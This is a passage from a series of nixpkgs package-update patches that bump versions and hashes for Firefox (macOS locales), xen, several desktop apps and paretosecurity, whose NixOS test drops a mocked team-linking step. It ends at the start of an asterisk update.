+      sha256 = "8a30d337c64283088a8adec3c6eb8ab600a8001cdd0b50b2b8ed1b9a56ff003f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pl/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pl/Firefox%20141.0.2.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "52e9054e146d4e3757012f5d20391f6f30c8dd4fcc197ac55a49042946f6d580";
+      sha256 = "1b9b21f9ff1d18200baa145dddc117294ebab52f007380a7ab9d0dc7b42099ce";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pt-BR/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pt-BR/Firefox%20141.0.2.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "40cbc55abbb762e676134a878406625701b26be5cd000dae110b7598ae157138";
+      sha256 = "6e1f4ea4b860211944b6ec62cc1beca7e5823803e25b11158ed42fd5a19a7e1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pt-PT/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pt-PT/Firefox%20141.0.2.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "ab12106d4121ecd135131b67839758b5f9e16725376f3b8213a9725858b5e40f";
+      sha256 = "9abb26200edb7dd2157b71bdd79ee939a3a8c6e66f69ed4c7e177951cf0eb3e7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/rm/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/rm/Firefox%20141.0.2.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "14ad99e70f378fc33cb2685e327bb3a415a39874e069abd3a0a5d84a89d27ea1";
+      sha256 = "3459337d336ac02ae714db945092da1bcf9603c134fa6c81de6650982bf85419";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ro/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ro/Firefox%20141.0.2.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "47d520b2f796c97a722b56e511b82631eed52275ab28e3fbd0674d7d38001dc5";
+      sha256 = "8318efc3b94558bb26d99f1102baafeb3fa4a62cbc0746c83b0bceaeb038d2b8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ru/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ru/Firefox%20141.0.2.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "e5a4756ac321867f3fb16364c66951834c49648b197f2e30cfa29bf6d62a7b9a";
+      sha256 = "c87d1693fb46ddbe068e1b581472b1725a34d14fb6ea6144769a7a2b6215c24d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sat/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sat/Firefox%20141.0.2.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "47588d13670c68abc3204431b5519173b92ac60e38922cf32940e96b2071e8d9";
+      sha256 = "bc74c8ea5b19abddba88fbb0a87d644f906a7ca5c081728816c4909474524c61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sc/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sc/Firefox%20141.0.2.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "cf49aa4838ea82c215f3bff06477e1db38d0c67df88e6d0ac2871b4f5d7902ec";
+      sha256 = "53aac0fed2454f743a64837cc07d0c7c95cfb3ab92dfcf34d805a3ffbecc94c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sco/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sco/Firefox%20141.0.2.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "efbb3486d6f863f3974cbd69d4ed6e2f9b42f581e9926e5ed125567eee930e7b";
+      sha256 = "e48edfdd975c877be82d79f64e94f13180b5ebbe16934eff884ca3cbb1a5b332";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/si/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/si/Firefox%20141.0.2.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "022a133db9177b6e882fa0aa644d70184a8efaae24e0aa625ca111e4cbcd369b";
+      sha256 = "dae75bf46301007ce4b1027546a732048a11251ed4ce962bf73d33343590afed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sk/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sk/Firefox%20141.0.2.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "d3eb5b8ce103dc6eddb8ca7947e7ad3652b766c2d395ecc6acb9b740bdbb2c45";
+      sha256 = "e188cb5e0a0308c9783cd6c9f465869c9b3a4c882ce5305648d83c9e3ffa00a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/skr/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/skr/Firefox%20141.0.2.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "1be25eca1806ebf72603cd1d3e7dc6ab6799b8c386d1ade693d070438fd00f6a";
+      sha256 = "bd900852c589de0e7431cf0108ded6d4bababc431bce1beb71f96010e1f28d1a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sl/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sl/Firefox%20141.0.2.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "3f4792daf890d39d120edbbb05a96cc9605ec49015d87f6969bf8a5dc1a2d122";
+      sha256 = "b1e981f438226be3317fa0ac848f27c45dc86c5a811a0e90cf0b1d408a5c6ee1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/son/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/son/Firefox%20141.0.2.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "2fd6c939b7a4cc813e03d098bdfc19b8a1a48759b831be2e084719c16c8cf34a";
+      sha256 = "e003f8c3c4611f958a838db6309e49581175e298cb377790a1f46765a8036df3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sq/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sq/Firefox%20141.0.2.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "3a5ffe9efff4d1d12f00d86c7fa46239accc708af95d7cf6a0d41492938899fc";
+      sha256 = "d5888f21a2a8d9cdc3b626186800d41056ab838116ee0a6447fae4e9ac3e5e5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sr/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sr/Firefox%20141.0.2.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "576572b308fa150011e62831783f13604c4700dec1f1f7f033fba25c835a5978";
+      sha256 = "27aa9dcd74c00fdaf8f47ba933137925eecd542fec8acd59f2fae655ac628ff9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/sv-SE/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/sv-SE/Firefox%20141.0.2.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "c84ae9979023217920f03f6c1eb02fd1aebb9dbfddc0459afd2681dbbe7fc562";
+      sha256 = "d42cc11b20f381e61de8878a4dae5d136c7dfbc6a6c979a64f93c394ae2d9afe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/szl/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/szl/Firefox%20141.0.2.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "cdc6004f451d5c7306088661318f2a2149e84b3e01c28cbe9c0dec56c30dce85";
+      sha256 = "d93489838778cc0b50a6098899372889fa1321397256392f43232bea62096517";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ta/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ta/Firefox%20141.0.2.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "7084b920384d0827a3a26b2e51aa0a1d33b57b63d4b607963e8ecbe8422039fa";
+      sha256 = "f3f820d404dfca5ae8600dc2440fb20b0cbde31d770c91b962896c30cf1fa581";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/te/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/te/Firefox%20141.0.2.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "ca1d02ccc47d7372adfc7e7aa4174fec378d5f07550781ad02ae92297dd61705";
+      sha256 = "27d83f95de3c724b255c7eb2084d0f2efad29d3adb118b4c18bc39cdd93d1d3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/tg/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/tg/Firefox%20141.0.2.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "933eacf454718a8b0dca160a2ee87bcd87152af358945b97383d592158028853";
+      sha256 = "1a9502ee8bf2781acfcab7793d4d4bcf5791519bf7feefac4c4da4de1d693f68";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/th/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/th/Firefox%20141.0.2.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "1d9df1dc264e62cda2e49718570b93456fce86b9c38e91016fff8f9135b1f4fe";
+      sha256 = "e4abbe3e56751a10afb803085e858c52167de952bf63123eb94b4a32cd3b7649";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/tl/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/tl/Firefox%20141.0.2.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "d3b0e0e439ccd7b566d5810fc4834323f4e1fe30fcf07a7d7014662bf53084a0";
+      sha256 = "b0c6add6b6676b075d97788d38a9ccd430ca3b47534ccf2ab8f898a04e07d138";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/tr/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/tr/Firefox%20141.0.2.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "3ad66b0abfd0995f48cc55a6deaac71a464af45b40a734f48fe6418c18ca7f26";
+      sha256 = "4550e4ec053b90548f8dbdc249ace236a476d66e8ec3ba5dcc6092d2adaeccb7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/trs/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/trs/Firefox%20141.0.2.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "26a3a62918b4c8ad8250f1218d2811717f155fecabb9f5e5ea79feea03928b79";
+      sha256 = "8b0edcee5ad67bc78f75d3baf807bcc2cd6a2ba829345687b197ab92d772a1b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/uk/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/uk/Firefox%20141.0.2.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "fbd6d9a970260b140ff434596e99ab55bb418124062fe14834fda9423395a2b2";
+      sha256 = "3cf396f507367f620be1fd9f1fe219a8cdd42e8bea3104c59c13403d85d97c67";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ur/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ur/Firefox%20141.0.2.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "7817b6f04256bb0e98eff7899b28d49039cea84b595d8ef33d2130b6464584e2";
+      sha256 = "202c702d5cb1c39407b39947f5d611711bf83a1d79c2303e73ac0475ea5f7e97";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/uz/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/uz/Firefox%20141.0.2.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "2fd70f20d710655d2543dd1500e9d791016a3abaa316cc9ce30c8e28023fbed6";
+      sha256 = "8764b5d9dd0620f69caab099e5d71ef8f04ea62bddda563d58ee2d83960896e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/vi/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/vi/Firefox%20141.0.2.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "11681cfc5b979b0fb822079cecaa5bfbf2eaa0b40df832832eecd81ffc43fdc2";
+      sha256 = "f9986af74ee9519c96b5949a4bd1cc1a422b3ea07f2399c18a20e0e247c65df2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/xh/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/xh/Firefox%20141.0.2.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "23f15ef262b39bd1295d0751e86bccfa632d66c4438c888cdeabb4f712b462cd";
+      sha256 = "b0695f3ebabae3d74276f7aa670ab550c9e920f4acfbc875573aeb853d631e32";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/zh-CN/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/zh-CN/Firefox%20141.0.2.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "92a269c2bedc65b9ff8dbfeb7dc53e115ac49792d43dd76232482b04d6f2fde0";
+      sha256 = "4b2daabfee6b04918c2ce030eea5a5ef2849571387122ef438d5a6e86f5b205a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/zh-TW/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/zh-TW/Firefox%20141.0.2.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "7077da1c7698b20b8a04df0871413336d8b63f51e0ad1ddbe8e303c4363064a4";
+      sha256 = "885d70e26d470ad87cc16222697d14a19fdc9008a43ddaf140e899d218b65f91";
     }
   ];
 }

From 6b445c19c41203c268d8354e0a811b880a5e8236 Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Wed, 6 Aug 2025 13:42:59 +1000
Subject: [PATCH 3233/4511] xen: 4.19.3-unstable-2025-07-09 -> 4.19.3

4.19.3 has been released properly, so we don't need to track an unstable commit.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
---
 pkgs/by-name/xe/xen/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/xe/xen/package.nix b/pkgs/by-name/xe/xen/package.nix
index bca3296d68db..d09f0fc9fbd3 100644
--- a/pkgs/by-name/xe/xen/package.nix
+++ b/pkgs/by-name/xe/xen/package.nix
@@ -5,8 +5,7 @@
 
 buildXenPackage.override { inherit python3Packages; } {
   pname = "xen";
-  version = "4.19.3-unstable-2025-07-09";
-  upstreamVersion = "4.19.3-pre";
-  rev = "b026848daf3cca7a4e1d234c8a3b91ebed270e65";
-  hash = "sha256-ThlKeS8SgrcXJvwSIQIE+GvSd5WmTskw+S9JowwFVHg=";
+  version = "4.19.3";
+  rev = "077419f04a3125c58dcf9724c954f98d1e927392";
+  hash = "sha256-e9aPLgzNVxUn7WnLbBHwFIN02DAObfA24VjiqdiP+jA=";
 }

From 0dbfa596193324ede7369e0ba86533d26a1fa56c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 02:16:13 +0000
Subject: [PATCH 3234/4511] lock: 1.6.5 -> 1.6.6

(cherry picked from commit be69bd031f597c06f2b75f975c75f4e5dbbe276a)
---
 pkgs/by-name/lo/lock/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lo/lock/package.nix b/pkgs/by-name/lo/lock/package.nix
index 7a127bed79a2..31a853a85ce8 100644
--- a/pkgs/by-name/lo/lock/package.nix
+++ b/pkgs/by-name/lo/lock/package.nix
@@ -19,13 +19,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "lock";
-  version = "1.6.5";
+  version = "1.6.6";
 
   src = fetchFromGitHub {
     owner = "konstantintutsch";
     repo = "Lock";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-SomQYgc3F7w5DB0+j4peYTLSdHsrg9fw3h15gU3DTKU=";
+    hash = "sha256-JAtQxmcLFNj6epk3ipVaa/u7fQ4E2maHZN+7jk+ktmE=";
   };
 
   strictDeps = true;

From 28e6748d664460228b8e850814b7f07a373ce2f4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 19 Jul 2025 05:08:59 +0000
Subject: [PATCH 3235/4511] upscaler: 1.5.2 -> 1.6.0

(cherry picked from commit 4ee5f6fed639afd8f80ec5aea298cf00af95ce23)
---
 pkgs/by-name/up/upscaler/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/up/upscaler/package.nix b/pkgs/by-name/up/upscaler/package.nix
index 9d25e57aef0a..4a7d059b1aeb 100644
--- a/pkgs/by-name/up/upscaler/package.nix
+++ b/pkgs/by-name/up/upscaler/package.nix
@@ -18,7 +18,7 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "upscaler";
-  version = "1.5.2";
+  version = "1.6.0";
 
   pyproject = false; # meson instead of pyproject
 
@@ -27,7 +27,7 @@ python3Packages.buildPythonApplication rec {
     owner = "World";
     repo = "Upscaler";
     rev = version;
-    hash = "sha256-QpKeu4k31BKcpPFLvb4iuFMdE3IwQARCDXTqWhWhBM0=";
+    hash = "sha256-OsycWrMR/SEZTlNQFd0wKF4CQNXKV/mBHaqiliMFw00=";
   };
 
   passthru.updateScript = gitUpdater { };

From fccff6b6e94752dc00f7a8bb1c3f06296d766cc4 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 20 Jul 2025 15:13:03 +0000
Subject: [PATCH 3236/4511] bign-handheld-thumbnailer: 1.1.2 -> 1.1.3

(cherry picked from commit 0d7c59768637bbadf45a783e3ea7b4cc2bdb805b)
---
 pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix b/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix
index c8a82da9e1b1..c1866ff4759b 100644
--- a/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix
+++ b/pkgs/by-name/bi/bign-handheld-thumbnailer/package.nix
@@ -11,17 +11,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "bign-handheld-thumbnailer";
-  version = "1.1.2";
+  version = "1.1.3";
 
   src = fetchFromGitHub {
     owner = "MateusRodCosta";
     repo = "bign-handheld-thumbnailer";
     tag = "v${version}";
-    hash = "sha256-DJbJ4l1QqaEuBI5lja3iCEq0QnlAgwPXg2N4MBPBvUY=";
+    hash = "sha256-qS1bKEkZPmNMfiLUZVlx8EAXMMYCcGGTTZFhWwlZ3gQ=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-cnl8H4+rqIS0sfwq+breJSuabX3vT16xLtaVnK96Q/4=";
+  cargoHash = "sha256-LyT0HDR51/bYnXtavgtff1nCKuJn41UmZuH/uJmykkk=";
 
   strictDeps = true;
 

From 2a49f2183e40db38aa40522f125420f0fafce809 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 01:10:14 +0000
Subject: [PATCH 3237/4511] easyeffects: 7.2.4 -> 7.2.5

(cherry picked from commit d4bbd6814a5f9988d1cd43abca69a43e124fe81b)
---
 pkgs/by-name/ea/easyeffects/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ea/easyeffects/package.nix b/pkgs/by-name/ea/easyeffects/package.nix
index 49db81c475b9..b3d361149720 100644
--- a/pkgs/by-name/ea/easyeffects/package.nix
+++ b/pkgs/by-name/ea/easyeffects/package.nix
@@ -48,13 +48,13 @@ in
 
 stdenv.mkDerivation rec {
   pname = "easyeffects";
-  version = "7.2.4";
+  version = "7.2.5";
 
   src = fetchFromGitHub {
     owner = "wwmm";
     repo = "easyeffects";
     tag = "v${version}";
-    hash = "sha256-C+zorQ7AFx72eOHUtjCHB2/1i1gnAoSMfEB+dWJIXHM=";
+    hash = "sha256-w3Mb13LOSF8vgcdJrqbesLqyyilI5AoA19jFquE5lEw=";
   };
 
   nativeBuildInputs = [

From 31b395d107b5cdc9847f9c2eb0ff000829190b6e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 31 Jul 2025 10:34:56 +0000
Subject: [PATCH 3238/4511] mangojuice: 0.8.5 -> 0.8.6

(cherry picked from commit 69cec1b8e2ac5dc65f4ee7aa867e7cd40ab6bc4a)
---
 pkgs/by-name/ma/mangojuice/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mangojuice/package.nix b/pkgs/by-name/ma/mangojuice/package.nix
index f11a268a7a99..4f98f7961fff 100644
--- a/pkgs/by-name/ma/mangojuice/package.nix
+++ b/pkgs/by-name/ma/mangojuice/package.nix
@@ -25,13 +25,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "mangojuice";
-  version = "0.8.5";
+  version = "0.8.6";
 
   src = fetchFromGitHub {
     owner = "radiolamp";
     repo = "mangojuice";
     tag = finalAttrs.version;
-    hash = "sha256-pqtzNJBMoKbF48JoIrbcJX78S+e3tb+otiG85YbBKYk=";
+    hash = "sha256-EVjKO+03o8es2t2/K1QuUIhXey7+2VNF37yXiMrv4o4=";
   };
 
   patches = [

From 8dfda4eb6eb2353055d7640916e64804c4e87127 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 19 Jul 2025 17:51:17 +0000
Subject: [PATCH 3239/4511] lunatask: 2.1.2 -> 2.1.3

(cherry picked from commit 25c68589093b46eea64bae6671d641a0728ae99d)
---
 pkgs/by-name/lu/lunatask/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/lu/lunatask/package.nix b/pkgs/by-name/lu/lunatask/package.nix
index 440c8047ae79..9b10af3ab239 100644
--- a/pkgs/by-name/lu/lunatask/package.nix
+++ b/pkgs/by-name/lu/lunatask/package.nix
@@ -6,12 +6,12 @@
 }:
 
 let
-  version = "2.1.2";
+  version = "2.1.3";
   pname = "lunatask";
 
   src = fetchurl {
     url = "https://github.com/lunatask/lunatask/releases/download/v${version}/Lunatask-${version}.AppImage";
-    hash = "sha256-MjzqoLPtTspLowDO3MV0joGoYuxjybuExC1h03AayB0=";
+    hash = "sha256-kVNuCtUyY8UkalXlIpfenjB4JApDZVabawLOhFxToyY=";
   };
 
   appimageContents = appimageTools.extract {

From b8ba4745db63aeb993a92cfe9f8071a7b4471fe4 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 13:38:08 +0000
Subject: [PATCH 3240/4511] paretosecurity: 0.2.38 -> 0.3.2

Test for linking had to be removed because now the linking is more
complex and it would take too much mocking to test it.

The test in question was moved to the dashboard codebase that is
closed-source, if that helps in any way.

(cherry picked from commit a667834a5fe2e18dd4405ddc19679dae7566c4b1)
---
 nixos/tests/paretosecurity.nix             | 50 +++-------------------
 pkgs/by-name/pa/paretosecurity/package.nix |  6 +--
 2 files changed, 9 insertions(+), 47 deletions(-)

diff --git a/nixos/tests/paretosecurity.nix b/nixos/tests/paretosecurity.nix
index 0ed86e57a89e..9c4c51271ad5 100644
--- a/nixos/tests/paretosecurity.nix
+++ b/nixos/tests/paretosecurity.nix
@@ -8,37 +8,10 @@
     {
       imports = [ ./common/user-account.nix ];
 
-      networking.firewall.enable = true;
-      services.paretosecurity = {
-        enable = true;
-
-        # Create a patched version of the package that points to the local dashboard
-        # for easier testing
-        package = pkgs.paretosecurity.overrideAttrs (oldAttrs: {
-          postPatch = oldAttrs.postPatch or "" + ''
-            substituteInPlace team/report.go \
-              --replace-warn 'const reportURL = "https://cloud.paretosecurity.com"' \
-                             'const reportURL = "http://cloud"'
-          '';
-        });
-      };
+      services.paretosecurity.enable = true;
 
     };
 
-  nodes.cloud = {
-    networking.firewall.allowedTCPPorts = [ 80 ];
-
-    services.nginx = {
-      enable = true;
-      virtualHosts."cloud" = {
-        locations."/api/v1/team/".extraConfig = ''
-          add_header Content-Type application/json;
-          return 200 '{"message": "Linked device."}';
-        '';
-      };
-    };
-  };
-
   nodes.xfce =
     { pkgs, ... }:
     {
@@ -70,9 +43,8 @@
   testScript = ''
     # Test setup
     terminal.succeed("su - alice -c 'mkdir -p /home/alice/.config'")
-    for m in [terminal, cloud]:
-      m.systemctl("start network-online.target")
-      m.wait_for_unit("network-online.target")
+    terminal.systemctl("start network-online.target")
+    terminal.wait_for_unit("network-online.target")
 
     # Test 1: Test the systemd socket is installed & enabled
     terminal.succeed('systemctl is-enabled paretosecurity.socket')
@@ -91,17 +63,7 @@
       + "'"
     )
 
-    # Test 3: Test linking
-    terminal.succeed("su - alice -c 'paretosecurity link"
-    + " paretosecurity://enrollTeam/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9."
-    + "eyJ0b2tlbiI6ImR1bW15LXRva2VuIiwidGVhbUlEIjoiZHVtbXktdGVhbS1pZCIsImlhdCI6"
-    + "MTcwMDAwMDAwMCwiZXhwIjoxOTAwMDAwMDAwfQ.WgnL6_S0EBJHwF1wEVUG8GtIcoVvK5IjWbZpUeZr4Qw'")
-
-    config = terminal.succeed("cat /home/alice/.config/pareto.toml")
-    assert 'AuthToken = "dummy-token"' in config
-    assert 'TeamID = "dummy-team-id"' in config
-
-    # Test 4: Test the tray icon
+    # Test 3: Test the tray icon
     xfce.wait_for_x()
     for unit in [
         'paretosecurity-trayicon',
@@ -115,7 +77,7 @@
     xfce.succeed("xdotool click 1")
     xfce.wait_for_text("Run Checks")
 
-    # Test 5: Desktop entry
+    # Test 4: Desktop entry
     xfce.succeed("xdotool mousemove 10 10")
     xfce.succeed("xdotool click 1")  # hide the tray icon window
     xfce.succeed("xdotool click 1")  # show the Applications menu
@@ -123,7 +85,7 @@
     xfce.succeed("xdotool click 1")
     xfce.wait_for_text("Pareto Security")
 
-    # Test 6: paretosecurity:// URL handler is registered
+    # Test 5: paretosecurity:// URL handler is registered
     xfce.succeed("su - alice -c 'xdg-open paretosecurity://foo'")
   '';
 }
diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index 05da8104b11c..e03080ce4129 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.38";
+  version = "0.3.2";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-+2QHLSekDaH8Ltq5UbQIG+GeLO8e1tYK4QPSeOB20YY=";
+    hash = "sha256-TXKymCFr2lrbgmbCxI3vIKx61nbOaRmuUTwNn7k0Hm0=";
   };
 
-  vendorHash = "sha256-GMbP34qjn/4ffTW5fxTMdzommcpHf9t3yZJ/jm4Tuzg=";
+  vendorHash = "sha256-DlCGCheJHa4HPM7kfX/UbOfLukAiaoP7QZnabkZVASM=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From d0e1f053ab469ed773b73eceb3f1685c78154e19 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 5 Aug 2025 04:39:23 +0000
Subject: [PATCH 3241/4511] asterisk: 20.15.0 -> 20.15.1

(cherry picked from commit e066e4eee474bf651fbc3220ecaccaa547d04bdf)
---
 pkgs/servers/asterisk/versions.json | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/pkgs/servers/asterisk/versions.json b/pkgs/servers/asterisk/versions.json
index 3b8142f6e35d..87be36fffdc9 100644
--- a/pkgs/servers/asterisk/versions.json
+++ b/pkgs/servers/asterisk/versions.json
@@ -1,18 +1,18 @@
 {
   "asterisk_18": {
